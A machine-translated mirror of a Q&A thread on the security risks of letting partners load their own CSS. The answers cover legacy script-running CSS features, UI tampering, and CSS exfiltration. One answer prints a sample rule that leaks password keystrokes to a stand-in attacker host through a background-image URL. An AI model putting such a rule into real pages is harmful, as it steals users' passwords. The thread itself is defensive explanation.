简体   繁体   English

加载外部第三方 CSS 是否有任何危险?

[英]Is there any danger in loading external, third-party CSS?

My goal is to allow partners to style their landing pages with their own look and feel by passing us a link to their stylesheet in a URL parameter.我的目标是允许合作伙伴通过在 URL 参数中向我们传递指向他们的样式表的链接,以他们自己的外观和风格设计他们的着陆页。 Are there security or browser compatibility concerns with loading third-party CSS via JavaScript?通过 JavaScript 加载第三方 CSS 是否存在安全或浏览器兼容性问题?

In CSS Files.在 CSS 文件中。

expressions(code) , behavior:url() , url(javascript:code) , and -moz-binding:url() all have potential security issues. expressions(code)behavior:url()url(javascript:code)-moz-binding:url()都有潜在的安全问题。

Behavior can't be cross domain so that removes some threat, but generally speaking you do need to sanitize it somehow.行为不能跨域,因此可以消除一些威胁,但一般来说,您确实需要以某种方式对其进行消毒。

If you allow the user to link to CSS on external servers, there isn't a fullproof way to validate.如果您允许用户链接到外部服务器上的 CSS,则没有完全可靠的验证方法。 The server could check the CSS file on the server to ensure there is nothing malicious, but what if the user changes the stylesheet?服务器可以检查服务器上的 CSS 文件以确保没有恶意,但是如果用户更改样式表怎么办? You would have to continuously check the stylesheet.您必须不断检查样式表。 Also the server could potential feed different info to the servers ip address in attempt to bypass the validation method.此外,服务器可能会向服务器 ip 地址提供不同的信息,以试图绕过验证方法。

In all honesty I would advise storing the CSS on your own server.老实说,我建议将 CSS 存储在您自己的服务器上。 Simple run it throw a regex parser that removes the possible malicious code from above.简单运行它会抛出一个正则表达式解析器,从上面删除可能的恶意代码。

As long as you validate it somehow you should be good.只要你以某种方式验证它,你应该是好的。

GOLDEN RULE : Do NOT trust the user黄金法则不要相信用户

If the user is the only person with the ability to see their custom CSS, then there is not really any danger.如果用户是唯一能够查看其自定义 CSS 的人,那么实际上并没有任何危险。 They could ruin their own experience on your site, but not that of others.他们可能会破坏自己在您网站上的体验,但不会破坏其他人的体验。

However, if their custom CSS is displayed to other users, then they could potentially use it to completely mess up the styles of your site as you intended.但是,如果他们的自定义 CSS 显示给其他用户,那么他们可能会按照您的意图使用它来完全弄乱您网站的样式。 For example, they could simply grab the id of some important elements from your source, and override them to hide them.例如,他们可以简单地从您的源中获取一些重要元素的id ,并覆盖它们以隐藏它们。

Of course, as long as you are careful and properly sanitize all user input, you should not face any major problems.当然,只要您小心并适当地清理所有用户输入,您就不会遇到任何重大问题。

In the event that the 3rd party is hacked and attackers replace the benign css with evil css, you could be vulnerable to:如果第 3 方被黑客入侵并且攻击者将良性 css 替换为邪恶的 css,您可能容易受到:

  • css exfiltration attacks* css 渗漏攻击*
  • targeted strikes that changes to the page's ui that change the meaning in a dangerous way.改变页面 ui 的有针对性的打击,以危险的方式改变意义。 For example, adding an extra 1 before the dosage of a medicine, making it a fatal dose instead of a treatment.例如,在药物剂量前多加 1,使其成为致命剂量而不是治疗。 Or hiding the checkout button, making it harder to buy things on your site.或者隐藏结帐按钮,使您更难在您的网站上购买东西。
  • objectionable content or random advertisements, spam令人反感的内容或随机广告、垃圾邮件
  • legacy browsers running scripts via expressions(code) , behavior:url() , url(javascript:code) , and -moz-binding:url() .旧版浏览器通过expressions(code)behavior:url()url(javascript:code)-moz-binding:url()运行脚本。 This is likely obsolete, but may still be relevant in rare cases.这可能已经过时,但在极少数情况下可能仍然相关。
  • any css attack yet to be developed (trusting 3rd party css opens you up to any and all future css zero-days if the 3rd party is attacked)任何尚未开发的 css 攻击(如果 3rd 方受到攻击,信任 3rd 方 css 会让你面临任何和所有未来的 css 零日漏洞)

The bottom line底线

Loading 3rd party css is somewhat dangerous as you are increasing your attack surface in the event that the 3rd party is attacked.加载第 3 方 css 有点危险,因为如果第 3 方受到攻击,您会增加攻击面。 If possible, store a known, safe version of the 3rd party css on your own server and serve that (basically, convert it to 1st party).如果可能,在您自己的服务器上存储一个已知的、安全的 3rd 方 css 版本并提供它(基本上,将其转换为 1st 方)。

*css exfiltration attack - see https://github.com/maxchehab/CSS-Keylogging . *css 渗漏攻击 - 参见https://github.com/maxchehab/CSS-Keylogging For example, this css will tell the attacker that a user has typed the character "a" in the password field.例如,这个 css 会告诉攻击者用户在密码字段中输入了字符“a”。

input[type="password"][value$="a"] {
  background-image: url("http://evilsite.com/a");
}

references: https://jakearchibald.com/2018/third-party-css-is-not-safe/参考资料: https : //jakearchibald.com/2018/third-party-css-is-not-safe/

see also: https://security.stackexchange.com/questions/37832/css-based-attacks另见: https : //security.stackexchange.com/questions/37832/css-based-attacks

CSS expressions only work in IE 6-7, but allow inline JS to be used (generally to calculate a value to set). CSS 表达式仅适用于 IE 6-7,但允许使用内联 JS(通常用于计算要设置的值)。

For example:例如:

/* set bgcolor based on time */
div.title {
    background-color: expression( (new Date()).getHours() % 2 ? "#B8D4FF" : "#F08A00" );
}

however, this could potentially be used to do malicious things, i'd say it's at least worth some testing.然而,这可能会被用来做恶意的事情,我会说它至少值得一些测试。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM